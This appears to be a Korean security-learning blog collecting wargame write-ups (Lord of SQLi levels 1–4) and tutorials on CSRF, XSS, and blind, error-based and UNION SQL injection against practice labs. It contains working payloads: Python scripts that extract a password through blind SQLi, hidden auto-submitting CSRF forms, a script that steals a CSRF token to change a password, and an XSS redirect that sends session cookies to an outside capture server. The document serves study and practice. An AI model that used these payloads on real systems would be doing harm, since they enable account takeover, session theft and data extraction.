4번문제의 php코드

1.문제풀이

 

1) 코드해석

  • 이번문제에서는 여태까지와는 다르게 단순히 admin계정으로 접속했다고 풀리는 문제가 아니다
  • 다음 코드와 같이 admin의 실제 비밀번호를 탈취해서 접속해야 풀리는 문제다

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

  • 따라서 이번 문제는 Blind SQLi문제로 자동화 도구를 이용해서 문제를 풀어보겠다

 

2) 문제풀이

2-1 비밀번호 길이를 알아내는 python 코드

import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php' #url 주소를 입력
cookies = {'PHPSESSID': 'cookie'} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value = "' or id='admin' and length(pw) = {}   -- '".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {"pw": value} # pw에 Payload 코드 삽입 
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Hello admin" in response.text: 
            break
    return pw_len #id 길이 반환
if __name__ == '__main__':
    print("pw의 길이는 : "+str(find_pw_len()))

공격 결과 화면

 

  • 비밀번호의 길이를 알아냈으므로 이젠 실제 비밀번호를 자동화도구를 통해서 알아내도록 하겠다

 

2-2 실제 비밀번호를 알아내는 python코드

import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php' #url 주소를 입력
cookies = {'PHPSESSID': 'cookie'} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value = "' or id = 'admin' and length(pw) = {}   -- '".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {'pw': value} # pw에 Payload 코드 삽입
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Hello admin" in response.text: 
            break
    return pw_len #id 길이 반환
def find_pw_str(pw_len):
    pw_str = ""
    for len in range(1,pw_len+1):
        for ascii in range(0,127): #ascii a~z까지의 값 반복
            value = "' or ascii(substring(pw,{},1)) = {} -- '".format(len,ascii)  # 반복하면서 pw을 substring 한다음 ascii로 변환한 값을 통해 비교해서 정답을 찾아냄
            params = {'pw': value}  # pw에 Payload 코드 삽입
            response = requests.get(url, params=params, cookies=cookies)  # GET을 통해 전달
            print(response.status_code)  # 응답 코드 확인 200번아니면 오류 상태
            print(value)  # 전달되는 Payload 코드 확인
            if "Hello admin" in response.text: 
                pw_str+=chr(ascii)+":" #참이라면 ascii코드를 char형으로 변경해서 저장
        pw_str+="\n"
    return pw_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
    print("비밀번호 조합 : \n"+find_pw_str(find_pw_len()))

공격 결과 화면

  • 자동화 도구를 통해 우리는admin계정의 비밀번호가 095a9852 인것을 알 수 있다
  • 실제로 파라미터에 대입해보면 접속이 성공한다
  • 공격 시 삽입 구문: id=admin&pw=095a9852
  • 공격 후 구문: https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?id=admin&pw=095a9852 
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_orc where id='admin' and pw='095a9852'

 

공격 성공 화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#6 darkelf)  (0) 2022.12.30
Lord of SQLi(#5 wolfman)  (0) 2022.12.28
Lord of SQLi(#3 goblin)  (0) 2022.12.28
Lord of SQLi(#2 cobolt)  (1) 2022.12.28
Lord of SQLi(#1 gremlin)  (0) 2022.12.28

3번문제의 php코드

1.문제풀이

 

1) 코드해석

  • 이번문제는 약간의 필터링이 걸려있다는것을 다음 코드에서 알 수 있다

 if(preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~");

  • 위에 보이는것과 같이 우리가 공격할 때 필요한 싱글쿼터('), 더블쿼터(")가 필터링이 걸려있는것을 볼 수 있다.
  • 또 이번문제에서는 SQL쿼리문에 id='guest'로 고정되어있고 그뒤에 no={$_GET[no]}값으로 검증한다
  • 이번에도 2번문제와 같이 admin계정으로 접속해야 문제가 풀리는 방식이다

 

2) 문제풀이

select id from prob_goblin where id='guest' and no={$_GET[no]}

  • 우리는 guest의 no값을 알 수 없으므로 위 SQL쿼리문에서 노란색으로 칠해진 부분부터 참이되게 만들어야한다
  • 먼저 no=no라고 대입하여 말 그대로 참이되게 만든결과 guest로 접속한것을 볼 수 있다

guest접속 성공 화면

  • 하지만 문제는 admin으로 접속해야 한다는 것이다
  • 그렇다면 no=2 or id='admin'으로 공격을 시도해본다
  • no=2라는 값을 준 이유는 위 구문을 SQL쿼리문에 대입하면 select id from prob_goblin where id='guest' and no=2 or id='admin'
  • 위 파란색부분이 거짓이되고 id='admin'이라는 부분이 참이되므로 admin으로 접속할 수 있기 때문이다.
  • 하지만 이번 문제에서는 쿼터가 필터링 되어있으므로 다른방법을 찾아야한다.
  • 여러 방법중 하나로 admin이라는 문자를 16진수(Hex)로 입력하는 스트링 우회법이 있다
  • 인터넷에 검색해본 결과 admin은 0x61646d696e로 변환된다
  • 따라서 admin대신 변환문자를 이용해 공격하면 된다
  • 공격시 삽입 구문: no=2 or id=0x61646d696e
  • 공격 후 구문: https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id=0x61646d696e 
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.
  • select id from prob_goblin where id='guest' and no=2 or id=0x61646d696e

 

공격 성공 화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#6 darkelf)  (0) 2022.12.30
Lord of SQLi(#5 wolfman)  (0) 2022.12.28
Lord of SQLi(#4 orc)  (0) 2022.12.28
Lord of SQLi(#2 cobolt)  (1) 2022.12.28
Lord of SQLi(#1 gremlin)  (0) 2022.12.28

2번문제의 php코드

1.문제풀이

 

1) 코드 해석

  • 이전에 풀었던 1번(gremlin)문제와 차이점이 거의 없다
  • 유일한 차이점은 다음구문에서 보듯이  pw를 md5라는 해시값으로 저장해서 데이터를 가져온다는 것이다

select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')

  • 또 이 문제를 풀기 위해서는 다음 코드와 같이 id가 admin이라는 계정으로 접속하기만 하면  풀리는 문제이다

if($result['id'] == 'admin'solve("cobolt");

 

2) 문제풀이

select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')

  • 이번엔 위 구문의 노란색으로 칠해진 부분에 admin이라는 값을 대입한다
  • 그 뒤에 pw~~부분은  #주석으로 비밀번호를 검증하지 않게 처리해주겠다
  • 공격 시 삽입 구문: admin'# // 주석인 #은 URL 인코딩때문에 읽을 수 없기 때문에  %23으로 바꿔서 대입한다
  • 공격 후 구문: https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin'%23
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_cobolt where id='admin'#' and pw=md5('')

  • admin이라는 id를 검증한 뒤 pw는 주석처리로 검증하지않고 바로 넘어가는 쿼리를 삽입한 것이다.

 

공격 성공 화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#6 darkelf)  (0) 2022.12.30
Lord of SQLi(#5 wolfman)  (0) 2022.12.28
Lord of SQLi(#4 orc)  (0) 2022.12.28
Lord of SQLi(#3 goblin)  (0) 2022.12.28
Lord of SQLi(#1 gremlin)  (0) 2022.12.28

1번문제의 php코드

1. 문제풀이

 

1) 코드 해석

  • 위의 코드를 바탕으로 우리한테 필요한 부분만 해석하여 풀이하면 된다
  • SQLi에서 가장 필요한 부분은 SQL쿼리가 들어간 구문을 보고 어떤방식으로 데이터를 가져오는지 생각해야한다
  • 이번 문제에서 SQL쿼리에 해당하는 부분은 다음 과 같다

  select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'

  • 위의 SQL구문만 참이 되도록 만들어주면 1번문제라서 그런지 쉽게 해결할수 있다.

 

2) 문제 풀이

select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'

  • 이번 문제에서는 위구문의 노란색으로 칠해진 부분이 참이되게 만들어주면 된다.
  • 공격 시 삽입 구문:' or 1=1#  // 주석인 #은 URL 인코딩때문에 읽을 수 없기 때문에  %23으로 바꿔서 대입한다
  • 공격 후 구문: https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=' or 1=1%23 
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_gremlin where id='' or 1=1#' and pw=''

 

공격 성공 화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

Lord of SQLi(#6 darkelf)  (0) 2022.12.30
Lord of SQLi(#5 wolfman)  (0) 2022.12.28
Lord of SQLi(#4 orc)  (0) 2022.12.28
Lord of SQLi(#3 goblin)  (0) 2022.12.28
Lord of SQLi(#2 cobolt)  (1) 2022.12.28

1. CSRF

 

1) 정의

  • csrf공격(Cross Site Request Forgery)은 웹 어플리케이션 취약점 중 하나로 인터넷 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록)를 특정 웹사이트에 요청하게 만드는 공격이다.

2) CSRF 종류

  • GET방식일 때 공격
  • POST방식일 때 공격
  • Referer 헤더 검증할 때 공격
  • CSRFToken

 

2. GET 방식일 때 공격

 

1) 요청이 GET 방식일 때?

  • 어떤 요청이 GET방식이라면, XSS와 연계해서 비밀번호를 변경하는 링크를 만들어서 (Reflected XSS) 사용자가 클릭하게 만들거나, img태그의 경로 src에 비밀번호를 변경하는 링크를 넣어서(Stored XSS) 공격할 수 있다.

2) 공격 방법

공격 시 삽입 구문: password_new=1234&password_conf=1234&Change=Change

공격 후 구문: GET /dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change

  • GET방식은 파라미터에 비밀번호 변경 요청이 남기 때문에 파라미터값을 수정한다.
  • 파라미터값을 수정한 URL을 공격대상에게 전달한다.
  • 공격대상이 링크를 클릭하면 공격이 실행되어 비밀번호변경 요청이 성공한다.

공격 시도 화면
공격 성공 화면

 

3. POST 방식일 때 공격

 

1) 요청이 POST 방식일 때?

  • get방식과 다르게 URL에 파라미터가 남지 않는다.
  • XSS가 가능한 페이지에 비밀번호 변경을 요청하는 form태그를 삽입해서 공격을 유도한다.

2) 공격 방법

공격 시 삽입 구문:

Hi~~

<iframe width="0" border="0" name="stealthframe" style="display:none;"></iframe>

<body onload="document.csrf.submit();">

<form method="POST" name="csrf" action="http://127.0.0.1:8000/mychange_ok.php"

target="stealthframe">

<input type="hidden" name="pw2" value="1111">

<input type="hidden" name="name2" value="blue">

</form>

  • XSS가 가능한 페이지에 공격 시 삽입 구문과 같은 비밀번호변경을 요청하는 form태그를 삽입한다
  • 피해자가 게시글을 클릭하면 비밀번호와 이름이 변경요청되어 공격이 성공한다.

공격 시도 화면
공격 성공 화면

 

4. Referer 헤더 검증할 때 공격

 

1) Referer 헤더 검증?

  • Request Header에 포함된 Referer는 현재 요청된 페이지의 링크 이전의 웹 페이지 주소를 포함한다.
  • 요청을 받는 서버는 CSRF를 막기 위해 정해준 Referer만 허용해주는 유효성 검사 로직을 추가하는 조치를 취한다
  • 이후에 피싱페이지에서 의도하지 않은 행위를 한다면, 이전에 작성한 Referer 값 유효성 검사에서 걸러질 것이다.

2) 공격 방법

공격 시 삽입 구문:

Hi~~

<iframe width="0" border="0" name="stealthframe" style="display:none;"></iframe>

<body onload="document.csrf.submit();">

<form method="POST" name="csrf" action="https://0acf00b403843656c0821da300f300c8.web-security-academy.net/my-account/change-email" target="stealthframe">

<input type="hidden" name="email" value="red@test.com">

</form>

공격 후 구문: email=red%40test.com

  • post방식과 같이 form 태그를 삽입하여 피해자가 클릭하게 유도한다.
  • 하지만 Referer 헤더 검증 때문에 csrf공격이 실패하게 된다.
  • 프록시도구로 이메일 변경을 요청하는 페이지를 리피터로 옮겨 Referer: 부분을 삭제하여 공격한다.

공격 시도 화면
Referer 헤더 검증으로 인한 공격 실패
Referer 제거 후 공격 성공

 

5. CSRF Token

 

1) CSRF Token?

  • 서버에 들어온 요청이 실제 서버에서 허용한 요청이 맞는지 확인하기 위한 토큰
  • 서버에서는 뷰 페이지를 발행할 때 랜덤으로 생성된 Token을 같이 준 뒤 사용자 세션에 저장해둔다.
  • 사용자가 서버에 작업을 요청할 때 페이지에 Token값이 같이 서버로 전송하여 서버에서 Token값이 세션에 저장된 값과 일치하는지 확인한다.

 

2) 공격 방법

공격 시 삽입 구문: 

<html>

<body>

<p>TOTALLY LEGITIMATE AND SAFE WEBSITE </p>

<iframe id="myFrame" src="http://192.168.219.112/dvwa/vulnerabilities/csrf" style="visibility: hidden;" onload="maliciousPayload()"></iframe>

<script>

function maliciousPayload() {

console.log("start");

var iframe = document.getElementById("myFrame");

var doc = iframe.contentDocument  || iframe.contentWindow.document;

var token = doc.getElementsByName("user_token")[0].value;

const http = new XMLHttpRequest();

const url = "http://192.168.219.112/dvwa/vulnerabilities/csrf/?password_new=hackerman&password_conf=hackerman&Change=Change&user_token="+token+"#";

http.open("GET", url);

http.send();

console.log("password changed");

}

</script>

</body>

</html>

공격 후 구문:

password_new=hackerman&password_conf=hackerman&Change=Change&user_token=43c74e1d88dc7672a04fecc287c72578

  • 먼저 정상적으로 비밀번호 변경을 요청했을 때 어떤 방식으로 처리되는지 확인한다.
  • 공격 시 삽입 구문에 있는 스크립트를 파일 업로드 취약점을 이용해 .html파일로 업로드한다.
  • 공격 시 삽입 구문 파일을 웹에서 실행하면 maliciousPayload 스크립트가 실행된다
  • 페이로드가 실행되면 토큰값을 받아와 비밀번호 변경을 요청하는 페이지에 토큰값을 넣어 해당 비밀번호로 변경하는 공격이 실행된다.
  • F12를 눌러 console창을 보면 password changed라는 문구와 함께 비밀번호가 변경이 되어있다.

html파일 업로드 성공 화면
공격 성공 화면

 

'Web Hacking' 카테고리의 다른 글

불충분한 인증/인가 취약점  (0) 2023.01.17
파일 업로드 취약점  (0) 2023.01.04
XSS  (0) 2022.12.16
Blind SQLi  (0) 2022.12.05
Error Based SQLi  (0) 2022.12.05

1. XSS

1) 정의

  • Cross Site Scripting의 약자로 게시판이나 웹 메일 등에 자바 스크립트와 같은 스크립트 코드를 삽입 해 개발자가 고려하지 않은 기능이 작동하게 하는 클라이언트를 대상으로 하는 공격이다.

 

2) XSS 종류

  • Reflected XSS
  • Stored XSS
  • Dom Based XSS

 

2. Reflected XSS

1) Reflected XSS란?

  • Reflected XSS 공격은 사용자에게 입력 받은 값을 서버에서 되돌려 주는 곳에서 발생한다. 
  • 보통 Reflected XSS 는 공격자가 악의적인 스크립트와 함께 URL을 사용자에게 누르도록 유도하고, URL을 누른 사용자는 악의적인 스크립트가 실행되면서 공격이 실행된다

 

2) 공격 방법

  • 공격 시 삽입 구문: <script>alert(“hi~~”);</script>
  • 공격 후 구문: </textarea>john<script>alert(“hi~~”);</script>
  • 공격시 삽입 구문만 입력하게 되면 <textarea>안으로 구문이 들어가기 때문에 스크립트가 실행되지 않는다.
  • 해당 페이지처럼 <textarea>안으로 내용이 들어가게 될 경우 공격 후 구문처럼 <textarea>밖으로 빠져나온 뒤 스크립트를 실행해야 한다.

공격 시도 화면
공격 성공 화면

  • 위 사진들과 같이 공격이 성공하게 되면 Reflected방식으로 공격하기 위해 해당 URL을 피해자에게 전달한다.
  • 피해자가 해당 URL을 클릭하면 다음과 같이 알림창이 뜨면서 공격이 이루어진다.

 

2. Stored XSS

1) Stored XSS란?

  • XSS 공격 종류 중 하나인 Stored XSS 는 지속적으로 피해를 입히는 XSS 공격입니다. 
  • 해커는 XSS 취약점이 있는 곳에 악성스크립트를 삽입한다. 삽입된 스크립트는 데이터베이스에 저장이 되고, 저장된 악성스크립트가 있는 게시글 등을 열람한 사용자들은 악성스크립트가 작동하면서 쿠키를 탈취당한다던가, 혹은 다른 사이트로 리다이렉션 되는 공격을 당하게 된다.
  • 한번의 공격으로 악성스크립트를 삽입하여 수많은 피해를 입힐 수 있다.

 

2) 공격방법

- 이번에는 Stored XSS를 이용해 세션탈취를 해보겠다.

 

    • 공격 시 삽입 구문:  <script>document.location="https://ictmmbn.request.dreamhack.games"</script>
    • 공격 후 구문: </textarea>john<script>document.location="https://ictmmbn.request.dreamhack.games"</script>
  • 공격시 삽입 구문만 입력하게 되면 <textarea>안으로 구문이 들어가기 때문에 스크립트가 실행되지 않는다.
  • 해당 페이지처럼 <textarea>안으로 내용이 들어가게 될 경우 공격 후 구문처럼 <textarea>밖으로 빠져나온 뒤 스크립트를 실행해야 한다.
  • 위 공격으로 게시판에 글이 저장되면 피해자가 글을 클릭함과 동시에 위 스크립트가 실행되면 해당 서버로 세션값이 넘어가 저장된다.

 

공격 시도 화면
공격 성공 화면
해커서버에 저장된 세션값

 

3. Dom Based XSS

1) Dom Based XSS란?

  • DOM Based XSS는 브라우저에서 DOM 객체에 접근해, 새로운 요소를 생성하거나 수정하는 과정에서 사용자 입력값으로 인해 결과적으로 악의적인 스크립트가 실행되는 것이다.
  • Stored XSS 및 Reflected XSS 공격의 악성 페이로드가 서버 측 애플리케이션 취약점으로 인해, 응답 페이지에 악성 스크립트가 포함되어 브라우저로 전달되면서 공격하는 것인 반면 DOM Based XSS는 서버와 관계없이 브라우저에서 발생하는 것이 차이점이다.

 

2) 공격 방법

    • 공격 시 삽입 구문: ?default=asdf
    • 공격 후 구문: 127.0.0.1/dom.html?default=asdf
    • Document.write 다음구문에 <OPTION value=1></OPTION>사이에 넣어 document객체를 수정한다.
    • asdf라는 선택지는 실제로 없지만 공격 시 삽입 구문으로 공격을 수행하면 asdf라는 선택지가 생성된다

 

공격 대상 페이지의 응답값
공격 성공 화면

'Web Hacking' 카테고리의 다른 글

파일 업로드 취약점  (0) 2023.01.04
CSRF  (0) 2022.12.27
Blind SQLi  (0) 2022.12.05
Error Based SQLi  (0) 2022.12.05
UNION Based SQLi  (0) 2022.11.21

1. Blind SQLi

1) 정의

  • Blind SQL 인젝션은 쿼리의 결과를 참과 거짓으로만 출력하는 페이지에서 사용하는 공격이다.
  • 출력 내용이 참 / 거짓 밖에 없어서 그것을 이용하여 데이터베이스의 내용을 추측하여 쿼리를 조작한다

 

2) 공격 방법

Blind SQLi는여러가지 정보들을 먼저 추출한는 공격을 수행한 뒤에 데이터를 수집해야한다.

순서에 따라서 다음과 같이 설명한다.

 

1) 취약점 확인

  • 프록시 도구로 간단한 테스트를 통해 Blind SQLi 취약점이 있는지 확인한다.

- 공격 시 삽입 구문: john' and '1'='1

- 프록시 도구를 이용해 해당 부분에 쿼리를 조작하여 취약점을 확인한다.

- 공격 시 삽입 구문으로 쿼리를 조작하여 로그인이 성공하면 취약점이 존재한다.

- 최종적으로 ‘1’=’1 부분에 ‘1’=’2(거짓)를 삽입하여 거짓일 경우 로그인이 실패하면 취약점이 존재한다.

 

2) 데이터베이스 이름 확인

  • Substring 함수와 ascii코드를 이용해 참/거짓 판단으로 Database 이름을 추출한다

- 공격 시 삽입 구문: john' and (ascii(substring((select database()),1,1))>0) and '1'='1

- 아스키 코드표를 보면서 데이터베이스 이름의 문자를 한 개씩 추출하면서 조합한다.

- 아스키 코드는 0보다는 무조건 크기 때문에 >0을 대입하면 참이므로 로그인이 성공한다.

- 해당 페이지에서는 76까지 참이 출력되고 77부터 거짓이 출력되므로 Database이름의 첫 번째 문자는 ‘M’ 이다.

- select database()),1,1))>0 부분에서 1,1(첫번째 문자) 2,1(두번째 문자) 순서로 삽입하여 이름을 추출한다.

- 마지막으로 >0을 대입했을 때 거짓이 나오면 더 이상 Database이름의 문자가 존재하지 않으므로 추출이 완료된 것이다.

 

3) 테이블 이름 확인

  • 추출한 Database 이름과 Substring 함수, ascii코드를 이용해 참/거짓 판단으로 테이블 이름을 추출한다.

- 공격 시 삽입 구문: john' and (ascii(substring((select table_name from information_schema.tables where table_schema='MEMBER' limit 2, 1), 1, 1))>107) and '1'='

- 아스키 코드표를 보면서 테이블 이름의 문자를 한 개씩 추출하면서 조합한다.

- 아스키 코드는 0보다는 무조건 크기 때문에 >0을 대입하면 참이므로 로그인이 성공한다.

- 해당 페이지에서는 107까지 참이 출력되고 108부터 거짓이 출력되므로 테이블이름의 첫 번째 문자는 ‘l’ 이다.

- limit 2, 1) 부분에서 0,1(첫번째 행) 2,1(두번째 행) 순서로 삽입하여 테이블 이름을 추출한다.

- ), 1, 1))>107) 부분에서 1,1(첫번째 문자) 2,1(두번째 문자) 순서로 삽입하여 테이블 이름을 추출한다.

- 마지막으로 >0을 대입했을 때 거짓이 나오면 더 이상 테이블 이름의 문자가 존재하지 않으므로 추출이 완료된 것이다

 

4) 컬럼 이름 확인

  • 추출한 테이블 이름과 Substring 함수, ascii코드를 이용해 참/거짓 판단으로 컬럼 이름을 추출한다.

- 공격 시 삽입 구문: john' and (ascii(substring((select column_name from information_schema.columns where table_name='login' limit 0, 1), 1, 1))>110) and '1'='1

- 아스키 코드표를 보면서 컬럼 이름의 문자를 한 개씩 추출하면서 조합한다.

- 아스키 코드는 0보다는 무조건 크기 때문에 >0을 대입하면 참이므로 로그인이 성공한다.

- 해당 페이지에서는 109까지 참이 출력되고 110부터 거짓이 출력되므로 컬럼 이름의 첫 번째 문자는 ‘n’ 이다.

- limit 2, 1) 부분에서 0,1(첫번째 행) 2,1(두번째 행) 순서로 삽입하여 컬럼 이름을 추출한다.

- ), 1, 1))>107) 부분에서 1,1(첫번째 문자) 2,1(두번째 문자) 순서로 삽입하여 컬럼 이름을 추출한다.

- 마지막으로 >0을 대입했을 때 거짓이 나오면 더 이상 컬럼 이름의 문자가 존재하지 않으므로 추출이 완료된 것이다

 

5) 데이터 추출

  • 추출한 정보들을 바탕으로 Substring 함수, ascii코드를 이용해 참/거짓 판단으로 데이터를 추출한다

- 공격 시 삽입 구문: john' and (ascii(substring((select pw from login where id='blue' limit 0, 1), 1, 1))>49) and '1'='1

- 아스키 코드표를 보면서 데이터의 문자를 한 개씩 추출하면서 조합한다.

- 아스키 코드는 0보다는 무조건 크기 때문에 >0을 대입하면 참이므로 로그인이 성공한다.

- 해당 페이지에서는 48까지 참이 출력되고 49부터 거짓이 출력되므로 데이터의 첫 번째 문자는 ‘1’ 이다.

- ), 1, 1))>49) 부분에서 1,1(첫번째 문자) 2,1(두번째 문자) 순서로 삽입하여 데이터 이름을 추출한다.

- 마지막으로 >0을 대입했을 때 거짓이 나오면 더 이상 데이터의 문자가 존재하지 않으므로 추출이 완료된 것이다

 

'Web Hacking' 카테고리의 다른 글

CSRF  (0) 2022.12.27
XSS  (0) 2022.12.16
Error Based SQLi  (0) 2022.12.05
UNION Based SQLi  (0) 2022.11.21
SQL Injection(로그인 인증 우회)  (0) 2022.10.27

1. Error Based SQLi

1) 정의

  • SQL 쿼리에 고의적으로 오류를 발생시켜, 출력되는 에러의 내용을 통해 필요한 정보를 찾아낸다.
  • 기본적으로 '(싱글 쿼테이션) 또는 ''(더블 쿼테이션)을 이용하며, Group BY와 HAVING 등을 이용하기도 한다.

 

2) 공격방법

Error Based SQLi는여러가지 정보들을 먼저 추출한는 공격을 수행한 뒤에 데이터를 수집해야한다.

순서에 따라서 다음과 같이 설명한다.

 

1) 취약점 확인

공격 시 삽입 구문

- '

출력되는 에러

-  Uncaught mysqli_sql_exception: You have an error in your SQL syntax;

  • 에러가 출력되는지 확인하기 위해 를 삽입하여 취약점을 확인한다.
  • 위와 같은 에러가 출력되면 Error Based SQLi 취약점이 존재한다.

 

2) Error 출력 활용 함수 선정

  • 문법이 맞지 않는 SQL 쿼리문을 삽입하면 컴파일이 불가하기 때문에 문법적에러가 아닌 논리적 에러를 포함한 쿼리문을 삽입해야한다.
  • 이런 경우 Error Based SQLi에 자주 사용되는 updatexml과 같은 함수를 사용한다.
  • Updatexml 함수는 지정된 xml_target에 xpath_expr의 표현식과 일치하는 부분이 존재하면 xml_target을 new_xml로 변경하는 함수이다.

- 1' and updatexml(null,concat(0x3a,(select 'john')),null) and '1'='1

- 로그인 창에 위 구문을 입력하면 다음과 같이 에러가 출력된다.

- Uncaught mysqli_sql_exception: XPATH syntax error: ':john' in /var/www/html/login_check.php

- 함수를 이용하여 공격했을 때 XPATH syntax error가 출력된다.

- 해당 함수로 공격이 가능한 것을 확인한다.

 

3) 데이터베이스 이름 확인

  • 함수 선정 후 공격을 통해서 출력되는 에러에 Database이름이 출력 되도록 한다

- 공격 시 삽입 구문: 1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1

- 로그인 창에 위 구문을 입력하면 다음과 같이 에러가 출력된다.

- 출력되는 에러: Uncaught mysqli_sql_exception: XPATH syntax error: ':MEMBER' in /var/www/html/login_check.php

공격 시 삽입 구문 SELECT문에 database이름이 출력되도록 구문을 만든다.

공격 후 출력되는 에러 MEMBER라는 database이름이 출력된다.

 

4) 테이블 이름 확인

  • 추출한 Database이름을 바탕으로 information_schema를 이용하여 테이블 이름을 추출한다.

- 공격 시 삽입 구문: 1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables WHERE table_schema = 'MEMBER' limit 1, 1)),null) and '1'='1

- 출력되는 에러: Uncaught mysqli_sql_exception: XPATH syntax error: ':ZIPCODE' in /var/www/html/login_check.php

- 공격 시 삽입 구문은 SELECT문에 table_name을 출력되게 한다.

- 테이블은 기본적으로 row로 정렬되어있어서 limit을 넣어주지 않으면 에러에 데이터가 출력되지 않는다.

- Limit 0,1부터 1,1 2,1 순으로 데이터가 출력되지 않을 때까지 테이블 이름을 출력한다.

- 공격 후 출력되는 에러에는 테이블 이름이 출력된다.

 

5) 컬럼 이름 확인

  • 추출한 Database와 table을 바탕으로 information_schema를 이용하여 컬럼 이름을 추출한다.

- 공격 시 삽입 구문: 1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns WHERE table_name = 'ZIPCODE' limit 0, 1)),null) and '1'='1

- 출력되는 에러: Uncaught mysqli_sql_exception: XPATH syntax error: ':ZIP_NO' in /var/www/html/login_check.php

- 공격 시 삽입 구문 SELECT문에 컬럼 이름이 출력되게 한다.

- 컬럼도 limit을 넣어 0,1 1,1 2,1 순으로 데이터가 출력되지 않을 때까지 컬럼 이름을 출력한다.

- 공격 후 출력되는 에러에는 컬럼 이름이 출력된다.

 

6) 데이터 추출

  • 수집한 데이터들을 이용해 필요한 데이터를 추출한다.

- 공격 시 삽입 구문: 1' and updatexml(null,concat(0x3a,(select ZIP_NO from ZIPCODE limit 0,1)),null) and '1'='1

- 출력되는 에러: Uncaught mysqli_sql_exception: XPATH syntax error: ':25627' in /var/www/html/login_check.php

- 공격 시 삽입 구문 SELECT문에 추출하고 싶은 데이터가 출력되게 한다.

- 데이터도 limit을 넣어 0,1 1,1 2,1 순으로 데이터가 출력되지 않을 때까지 데이터를 출력한다.

- 공격 후 출력되는 에러에는 데이터가 출력된다.

 

'Web Hacking' 카테고리의 다른 글

CSRF  (0) 2022.12.27
XSS  (0) 2022.12.16
Blind SQLi  (0) 2022.12.05
UNION Based SQLi  (0) 2022.11.21
SQL Injection(로그인 인증 우회)  (0) 2022.10.27

1. UNION Based SQLi

1) 정의

= UNION 명령어를 이용한 SQL Injection

  • 원래의 요청에 추가 쿼리를 삽입하여 정보를 얻어낸다.
  • 2개 이상의 쿼리를 요청하여 하나의 테이블로 결과를 얻는다.
  • 단, 2개의 테이블이 동일한 필드 개수와 데이터 타입을 가져야 하므로 사전공격을 통해 미리 알아놔야 한다.

2) 공격 방법

UNION Based SQLi는여러가지 정보들을 먼저 추출한는 공격을 수행한 뒤에 데이터를 수집해야한다.

순서에 따라서 다음과 같이 설명한다.

 

1) 컬럼 개수 파악

  • 이번 공격 뒤에 이루어질 데이터베이스 이름, 테이블 이름을 추출하기 위해 컬럼의 개수를 파악한다.
  • ORDER BY 구문을 이용해 컬럼의 개수를 파악한다.

- 테헤란로%' order by 1 #

- 주소 검색창에 위 구문을 입력하게 되면 다음과 같이 작동한다.

- SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' order by 1 #%

- #뒤에 남는 %는 주석처리가 된다.

- order by절을 이용해 1부터 데이터가 출력되지 않을 때까지 하나하나 입력해본다

- ex) SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' order by 1,2 #%

- ex) SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' order by 1,2,3 #%

2) 데이터베이스 이름 확인

  • 화면에 출력되는 컬럼을 이용해 데이터베이스의 이름을 추출한다.

- 테헤란로%' union select 1,database(),3,4,5,6 #

- 주소 검색창에 위 구문을 입력하게 되면 다음과 같이 작동한다.

- SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' union select 1,database(),3,4,5,6 #%

3) 테이블 이름 확인

  • DB에 기본적으로 저장되어있는 information_schema를 이용해서 테이블의 이름을 추출 할 수 있다.

- 테헤란로%' union select 1,table_name,3,4,5,6 from information_schema.tables where table_schema='MEMBER' #

- 주소 검색창에 위 구문을 입력하게 되면 다음과 같이 작동한다.

- SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' union select 1,table_name,3,4,5,6 from information_schema.tables where table_schema='MEMBER' #%’

- 컬럼에 table_name을 입력하여 information_schema.tables라는 테이블로부터 테이블 이름을 추출하도록 공격한다.

